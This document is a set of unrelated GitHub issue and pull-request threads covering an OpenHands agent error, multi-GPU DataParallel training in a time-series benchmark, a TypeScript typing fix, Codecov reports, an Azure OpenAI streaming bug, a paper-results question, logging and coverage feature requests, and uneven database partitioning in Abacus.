2024-11-08 11:19:34
2024-11-08 11:19:35 05:49:35 - openhands:INFO: agent_controller.py:135 - [Agent Controller a87fa5a6-1c7b-4a62-aeec-615373c5e556] Setting agent(CodeActAgent) state from AgentState.RUNNING to AgentState.ERROR
2024-11-08 11:19:35 05:49:35 - openhands:INFO: github.py:14 - Initializing UserVerifier
2024-11-08 11:19:35 05:49:35 - openhands:INFO: github.py:27 - GITHUB_USER_LIST_FILE not configured
2024-11-08 11:19:35 05:49:35 - openhands:INFO: github.py:48 - GITHUB_USERS_SHEET_ID not configured
2024-11-08 11:19:35 05:49:35 - openhands:INFO: github.py:85 - No user verification sources configured - allowing all users
2024-11-08 11:19:35 INFO:     <IP_ADDRESS>:53830 - "GET /config.json HTTP/1.1" 200 OK
2024-11-08 11:19:35 INFO:     <IP_ADDRESS>:53844 - "GET /api/list-files HTTP/1.1" 200 OK

Can you please add to the README command: DEBUG=1 and then run it again and check the logs?
I think it's an LLM error that is not displayed.
The state message can be ignored. If a previous state cannot be restored, then the app initializes a new state, that's not really an error. We should improve this... it's confusing.

Also, it might be useful to try with Claude Sonnet 3.5 just for one run, to see if it works?
We had just these days a couple of issues solved for both Haiku and 4o-mini, I think you may have run into one...

I am experiencing the same problem. I am using the OpenAI GPT-4 model and have added DEBUG=1, but I don’t see any useful messages.

@champ2050 @zhaozhiming  We just released 0.13.0, please give it a try and let us know!

@enyst I tested the 0.13.0 version and no longer encountered this error. Thx.


Implementation of Multi-GPU Training via DataParallel in TFB

This pull request is dedicated to the incorporation and enhancement of multi-GPU training capabilities within our TFB framework.
Relevant Issue Number: #37
Problem Statement:
The existing TFB version had a limitation in its inability to support the parallel training of deep models with multiple GPUs in a one-worker, multi-gpu job configuration. To overcome this, we have integrated torch.nn.DataParallel within the Sequential Backend context, thereby facilitating the parallel training of deep models under the ts_benchmark/baselines/time_series_library directory.
Key modifications:

ts_benchmark/baselines/time_series_library/adapters_for_transformers.py

An argument use_multi_gpu has been introduced with a default value of True.
In the forecast_fit() function, during the model loading process, if use_multi_gpu is set to True and multiple GPUs are detected, the model is loaded using nn.DataParallel to enable efficient parallel processing.

scripts/run_benchmark.py

The script has been updated such that when the gpus argument is set to -1, it automatically utilizes all the GPUs that are detected, providing a convenient way to leverage the full computational power available.

docs/tutorials/steps_to_train_models_with_multi_gpus_using_dp.md

A comprehensive and detailed set of instructions has been crafted to guide users on effectively harnessing the power of multiple GPUs for training deep forecasting models. This documentation includes step-by-step procedures, example configurations, and explanations of the various parameters and options available, ensuring that users can easily understand and implement multi-GPU training strategies.

Testing and Validation:
Extensive testing has been conducted on a Linux server (Debian 9) equipped with 4 NVIDIA Tesla-V100-SXM2-32GB GPUs. When initiating a training job with all 4 GPUs enabled, the nvidia-smi utility confirms that all GPUs are actively engaged in the training process. Additionally, with a batch size of 32, through meticulous debugging, it has been verified that the actual batch size processed on a single GPU is 8 (32 / 4), as expected. The documentation steps and examples have also been thoroughly verified to ensure their accuracy and usability.
I am confident that these enhancements will significantly augment the capabilities and usability of our repository, particularly for those seeking to leverage the benefits of multi-GPU training. I welcome and look forward to your comprehensive review and any valuable feedback that will help further refine and optimize these changes.

We've resolved all other comments except the one to fix what "all" gpus mean. Since we agree on the solution, please fix this problem and the PR can be merged.

Sorry for the late reply.  I've thoroughly verified that the function torch.cuda.device_count() indeed returns only the GPU devices that have been specified within the CUDA_VISIBLE_DEVICES. This indicates that the existing code is in harmony with the ultimate solution upon which a consensus has been reached, without the need for any further alterations. I'm truly grateful for the time you've dedicated to assisting in the development of this Pull Request. I'm looking forward with great anticipation to seeing this PR successfully merged.

Sorry for the late reply. I've thoroughly verified that the function torch.cuda.device_count() indeed returns only the GPU devices that have been specified within the CUDA_VISIBLE_DEVICES. This indicates that the existing code is in harmony with the ultimate solution upon which a consensus has been reached, without the need for any further alterations. I'm truly grateful for the time you've dedicated to assisting in the development of this Pull Request. I'm looking forward with great anticipation to seeing this PR successfully merged.

I don't think it is correct currently, try the following command:
export CUDA_VISILBLE_DEVICES=1,2
python ./scripts/run_benchmark.py --config-path "rolling_forecast_config.json" --data-name-list "Electricity.csv" --strategy-args '{"horizon":96}' --model-name "time_series_library.PatchTST" --model-hyper-params '{"batch_size": 2, "d_ff": 1024, "d_model": 512, "lr": 0.001, "horizon": 6, "seq_len": 12}' --adapter "transformer_adapter"  --gpus -1  --num-workers 1  --timeout 60000  --save-path "Electricity/PatchTST"

# experimental results on my server:
# the expected outcome: the model runs on gpus 1 and 2
# the actual outcome: the model runs on gpus 0 and 1

You may refer to my previous comment for the cause of this bug.
There's an even more bizarre case when we run
export CUDA_VISILBLE_DEVICES=1,2
python ... --gpus 0 1

Shall we map gpus 0,1 to 1,2, or shall we simply raise an exception in this case?
By the way, I recommend to remove the backticks (`) around '--gpu' option in the documentation, because

it does not help to make the quoted text salient if it is already in a code block;
directy copying the command in the documentation does not work due to these extra backticks;

I have updated the documents to remove the backticks (`) around the '--gpu' option.
Regarding the bug, I have conducted tests on my server and encountered the same issue. I have attempted several solutions, yet none of them have proven effective. The primary problem seems to be that the Python process fails to detect the device IDs set by CUDA_VISIBLE_DEVICES. Regardless of whether it is set to 1,2, 2,3, or 1,3, the outcome remains the same. By default, the Python process can only detect two devices with IDs 0 and 1. When utilizing nn.Parallel(self.models, device_ids), the ID within device_ids cannot exceed 1 since only GPU 0 and 1 are detected.
In my view, if users wish to utilize specific GPUs for training, they could try the following approach: setting args.gpus = 1,2. Offering the option to set args.gpus = -1 is merely a convenient means for them to employ all visible GPUs. As for using CUDA_VISIBLE_DEVICES to allocate resources, this might be a matter that should be taken into consideration by higher-level administrators.
At present, I don't have a good idea to solve this problem. Do you have any suggestions?

I have updated the documents to remove the backticks (`) around the '--gpu' option.
Regarding the bug, I have conducted tests on my server and encountered the same issue. I have attempted several solutions, yet none of them have proven effective. The primary problem seems to be that the Python process fails to detect the device IDs set by CUDA_VISIBLE_DEVICES. Regardless of whether it is set to 1,2, 2,3, or 1,3, the outcome remains the same. By default, the Python process can only detect two devices with IDs 0 and 1. When utilizing nn.Parallel(self.models, device_ids), the ID within device_ids cannot exceed 1 since only GPU 0 and 1 are detected.
In my view, if users wish to utilize specific GPUs for training, they could try the following approach: setting args.gpus = 1,2. Offering the option to set args.gpus = -1 is merely a convenient means for them to employ all visible GPUs. As for using CUDA_VISIBLE_DEVICES to allocate resources, might this be a matter that should be taken into consideration by higher-level administrators? I'm not certain about this myself either.
At present, I don't have a good idea to solve this problem. Do you have any suggestions?

According to my observation, the root cause of the bug is:

torch.cuda.device_count returns only the number of GPUs specified in CUDA_VISIBLE_DEVICES (2 in all your examples), so writing np.arange(torch.cuda.device_count()) returns only the logical ids (0 and 1, rather than the physical ids) of the available GPUs.
It is safe to assign the logical device IDs in adapters_for_transformers.py, because nn.DataParallel requires the logical ids as arguments.
However, it is incorrect to assign the logical IDs to args.gpus in run_benchmark.py, because args.gpus are expected to be physical device IDs, due to the implementation details in the backends.

I recommend either:

remove the convenient option args.gpus==-1 (another reason to support this is that this option violates the convention to disable all GPUs when CUDA_VISIBLE_DEVICES==-1).
check CUDA_VISIBLE_DEVICES before parsing args.gpus, this requires a bit more work on the parsing of this envvar:

import os

# This function can be placed in some proper files in `utils/`, or in the main script
def get_cuda_visible_devices():
    cuda_visible_devices = os.environ.get("CUDA_VISIBLE_DEVICES")
    if not cuda_visible_devices:
        return []

    device_list = cuda_visible_devices.split(",")
    try:
        valid_devices = sorted(
            [int(dev) for dev in set(device_list) if int(dev) >= 0]
        )
    except ValueError:
        return []

    return valid_devices

# in run_benchmark.py, before parsing args.gpus
environ_gpus_list = get_cuda_visible_devices()
if -1 in args.gpus:
    args.gpus = environ_gpus_list
else:
    if set(args.gpus) - set(environ_gpus_list):
        # I recommend raising an error here, to make `args.gpus` consistently represent physical device IDs
        # this can be changed safely in the future
        raise ValueError(f"The specified GPUs ({args.gpus}) are not compatible with CUDA_VISIBLE_DEVICES (environ_gpus_list)")

I believe that removing the convenient option  args.gpus == -1 is a reasonable step. Currently, I have already removed the relevant sections in ./scripts/run_benchmark.py as well as in the associated documents.

I believe that removing the convenient option  args.gpus == -1 is a reasonable step. Currently, I have already removed the relevant sections in ./scripts/run_benchmark.py as well as in the associated documents.

Have you pushed your latest changes? I can still find the following code in run_benchmark.py:

Sorry, I accidentally pushed the changes to an incorrect branch. I've now sorted this out.

LGTM


fix: infer group names from param with Input type

Types for helper functions exactly, maybe, oneOrMore does not  infer group names from param with Input type
 <New extends InputSource<string>>(
  input: New
): Input<GetValue<New>>

// example
const pattern = oneOrMore(exactly('foo').as('fooGroup'))
// pattern: Input<"((?<fooGroup>foo))+", never> // should be Input<"((?<fooGroup>foo))+", "fooGroup">

Codecov Report

Merging #32 (2c9e5ed) into main (2211a83) will not change coverage.
The diff coverage is 100.00%.

@@            Coverage Diff            @@
##              main       #32   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            7         7
  Lines          369       371    +2
  Branches        83        83
=========================================
+ Hits           369       371    +2

Impacted Files
Coverage Δ

src/core/inputs.ts
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2211a83...2c9e5ed. Read the comment docs.


remove inmemory provider complex interface

/cc @linki @ismith

@ideahitme anything left to do here?

@linki this should be it for now, merging


No citations and intents from OpenAI library

Confirm this is not an issue with the underlying OpenAI API

[x] This is an issue with the Python library

Confirm this is not an issue with Azure OpenAI

[X] This is not an issue with Azure OpenAI

Describe the bug
Hello, we recently updated our libraries to Azure.AI.OpenAI 2.0.0-beta.2. and underlying OpenAI 2.0.0-beta.5. And now we are not receiving StreamingChatCompletionUpdate context (which contains Citations and intents which we need). If you look into Azure library, the call for context is pretty straightforward call into OpenAI library and I am pretty sure the bug is not there.
I apologize if the context, citations & intents are not received from OpenAI API, but i didn't get as far as there, just here :-) I also did a lot of emptyhanded search for this and found nothing, so i am asking here :-)
Thank you
To Reproduce
Use the code below with Azure.AI.OpenAI 2.0.0-beta.2 and OpenAI 2.0.0-beta.5. Then it is never received. I tried multiple questions and no context.
Code snippets
AzureOpenAIClient client = new AzureOpenAIClient(new Uri(openAiApiBaseUrl), new AzureKeyCredential(openAiApiKey));

var ccChatClient = client.GetChatClient("gpt-4o");

await foreach (var chatUpdate in

               ccChatClient.CompleteChatStreamingAsync(new List<ChatMessage>()
               {
                   new SystemChatMessage("You are helpful assistant"),
                   new UserChatMessage("Tell me something about dolphins")
               }))
{
#pragma warning disable AOAI001
    var context = chatUpdate.GetAzureMessageContext();
#pragma warning restore AOAI001

    if (context != null)
    {
        Console.WriteLine("Yeah!!!");
    }
}

OS
windows
.NET version
8.0
Library version
2.0.0-beta.5

We're also not getting any Context inside a Streaming Call... any idea's when this will be fixed?


About evaluation result in Table 1

Hello, thank you for such a great project. I have a question when reading Table 1 of the paper:
Are the evaluation data on APE and AVE shown in Table 1 the average of multiple evaluation results? If so I would like to ask how many experiments you did?
Because I changed the random number and trained the model multiple times, the results obtained each time were not as good as shown in the paper. Even if I averaged multiple experiments, I did not achieve the effect shown in the paper.

Hello @fyyakaxyy,
In Table 1, it is not an average of multiple evaluation results. It corresponds to only one random generation. I actually made only one experiment. In Table 2, I am generating it 10 times and do the average (avg) or take the best.
The training of such models are not 100% deterministic so it may be normal that the results differ.

Hello @fyyakaxyy,
In Table 1, it is not an average of multiple evaluation results. It corresponds to only one random generation. I actually made only one experiment. In Table 2, I am generating it 10 times and do the average (avg) or take the best.
The training of such models are not 100% deterministic so it may be normal that the results differ.

Thank you!


[FEATURE REQ] define AZ_LOG

There should be a way to complie it as no-op, depending on a ##DEFINE.

Log should be on for tests.

ERROR and INFO are probably good enough.

Both ERROR and INFO should go to STDERR (not because it is an error, but because STDERR is designed for stuff like messages, not neccessary errors; STDOUT is normally for the output that the program is supposed to produce. I.e. suppose that you have get_token.exe that gets you the auth token. The only thing printed to stdout should be the token. While STDERR should have messages like "Coinnecting to Azure" and so on)

It should be possible to only enable LOG_ERROR.

It should accept printf-compatible format string, plus support %z, which should handle spans (both az_span and az_mut_span).

https://github.com/Azure/azure-sdk-for-c/pull/302


Change data type of monetary amount to double...

and string representation to double with 2 decimal places.

Codecov Report

Merging #110 (6eaa528) into master (c53fbaf) will increase coverage by 0.03%.
The diff coverage is 50.00%.

@@             Coverage Diff              @@
##             master     #110      +/-   ##
============================================
+ Coverage     60.15%   60.19%   +0.03%
  Complexity      475      475
============================================
  Files            96       96
  Lines          1752     1751       -1
  Branches        193      193
============================================
  Hits           1054     1054
+ Misses          645      644       -1
  Partials         53       53

Impacted Files
Coverage Δ

.../java/seedu/address/model/person/PersonAmount.java
0.00% <0.00%> (ø)

.../java/seedu/address/storage/JsonAdaptedPerson.java
0.00% <0.00%> (ø)

src/main/java/seedu/address/ui/ExpenseCard.java
0.00% <0.00%> (ø)

.../main/java/seedu/address/model/expense/Amount.java
88.88% <100.00%> (ø)

.../java/seedu/address/storage/JsonAdaptedBudget.java
100.00% <100.00%> (ø)

...java/seedu/address/storage/JsonAdaptedExpense.java
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c53fbaf...6eaa528. Read the comment docs.


Exclude Debug

In my code the main source of "uncovered" code is #[derive(Debug)] on structs. I don't think it makes much sense to test it, so I think it's worth to remove related lines from the coverage report.

So this issue is related to #16, instructions that map to source lines that aren't covered. Currently working out a solution that solves all instances of this more gracefully than accruing a list of regular expressions. I'll let you know when there's an update :+1:

Great! Thank you!

Hi @newpavlov just an update, I've implemented this in 7aa369ae6e40c28462f6b06a2fbc61c130cc7c07 #[derive(..)] is now ignored in coverage as well as struct members which also don't make sense to cover!
I'll be adding more rules to filter out similar issues (#16 and #17) and it'll be in the next update. Sorry it's taken so long!


Partitions not distributed evenly

The DB partitions of the collector, aggregator and accumulator are not well distributed. This slows down the processing since we get far more docs in a single DB.
The partitioning also affects the request distribution since it is used in the post sinks. The result is that some of the apps are loaded more than the others, resulting in OOM due to too much connections. This prevents Abacus from scaling horizontally.
As an example:
Collector:
> db.getCollection("abacus-collector-collected-usage-0-201701").count()
576202
> db.getCollection("abacus-collector-collected-usage-1-201701").count()
0
> db.getCollection("abacus-collector-collected-usage-2-201701").count()
29
> db.getCollection("abacus-collector-collected-usage-3-201701").count()
0
> db.getCollection("abacus-collector-collected-usage-4-201701").count()
0
> db.getCollection("abacus-collector-collected-usage-5-201701").count()
148049

Aggregator:
> db.getCollection("abacus-aggregator-accumulated-usage-0-201701").count()
11949
> db.getCollection("abacus-aggregator-accumulated-usage-1-201701").count()
12824
> db.getCollection("abacus-aggregator-accumulated-usage-2-201701").count()
7270
> db.getCollection("abacus-aggregator-accumulated-usage-3-201701").count()
97202
> db.getCollection("abacus-aggregator-accumulated-usage-4-201701").count()
5627
> db.getCollection("abacus-aggregator-accumulated-usage-5-201701").count()
38778

This is because the usage submissions itself are not well distributed. Example: Instance/org A could have substantially higher number of submissions compared to instance/org B. All instance A would be handled by only accumulator 1 and organization A would be handled by only aggregator 1.
I think it is good to have a discussion on either how to handle too much submission for 1 instance / org or to allow apps that are not busy to help the busy app.

In collector, the input key is just the client_id. So if a service provider submits a large number of usage records, even if it is distributed among multiple organizations, it ends up in the same partition. This shouldn't be a problem in collector since its a stateless instance and can be scaled. However, there might be performance issues with the database since all the documents are written to the same partition.

What actually bothers me is that we cannot simply add additional instances behind accumulator & aggregators that are loaded since we use our own partitioning, sink and basically load-balancing plus we have a lock to prevent concurrent modification.
If we could add instances then scaling would be a child's play.

Master now has rabbit as buffer to eliminate the problem with scaling collectors & meters. Therefore even if the DB partitions are not distributed evenly this should not affect load distribution.
We can implement the same buffer between meter & accumulator and then accumulator & aggregator.